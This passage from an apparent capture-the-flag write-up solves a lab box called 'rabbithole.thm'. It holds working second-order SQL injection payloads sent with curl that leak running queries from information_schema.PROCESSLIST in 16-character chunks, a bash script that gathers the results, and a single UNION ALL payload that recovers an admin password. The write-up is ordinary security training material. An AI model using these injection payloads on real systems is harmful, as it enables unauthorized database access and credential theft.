-b$'PHPSESSID=13' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 193, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'curl-i-s-k-X$'POST' \ -H $'Host: rabbithole.thm' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 199' -H $'Origin: http://rabbithole.thm' -H $'Connection: close' -H $'Referer: http://rabbithole.thm/login.php' -H $'Upgrade-Insecure-Requests: 1' \
-b$'PHPSESSID=14' \ --data-binary $'username=/\" UNION SELECT 1, SUBSTRING((SELECT INFO FROM information_schema.PROCESSLIST WHERE ID = (SELECT MIN(ID) FROM information_schema.PROCESSLIST)), 209, 16) -- -&password=asdf&login=Submit+Query' \
$'http://rabbithole.thm/login.php'
The script may take a while to complete.
After the users are all logged in, we can query the index page for each user and see the 16 character blocks for each user. Here we can see the queries that get triggered while loading the index page.
To automate this, we can use the following script to request for each user and concatenate the results.
retrieve.sh
#!/bin/bash# Initialize an empty variable to store concatenated outputresult=""# Loop through each session ID from 1 to 14for i in {1..14}; do# Get the relevant data and strip HTML tags output=$(curl -s http://rabbithole.thm -H "Cookie: PHPSESSID=$i" | grep -o '<tr><td>.*</td>' | tail -1 | sed -e 's/<[^>]*>//g')
result+="$output"done# Print the final concatenated resultecho"$result"
We run the script several times until we finally timed the log in of the admin. This reveals the used password.
With that password, we are able to log in as admin via SSH and find the flag in the home directory of the user.
One SQL Statement To Rule Them All
Shamollash was so kind to share his SQL statement to leak the dessired information in one run. With that statement each 16 character block gets stored in a row using a union all query. The queries containing info we create with this payload are being filtered. With that we just need to create a user with that username and reload the page until the desired information leaks.
0" union all select null,mid(info,1,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,17,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,33,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,49,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,65,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,81,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,97,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,113,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,129,16) from information_schema.processlist where info not like '%info%'union all select null,mid(info,145,16) from information_schema.processlist where info not like '%info%' -- -
Recommendation
Don't miss out on Jaxafed's approach, which involves manipulating the database to write information into the ID of the users table: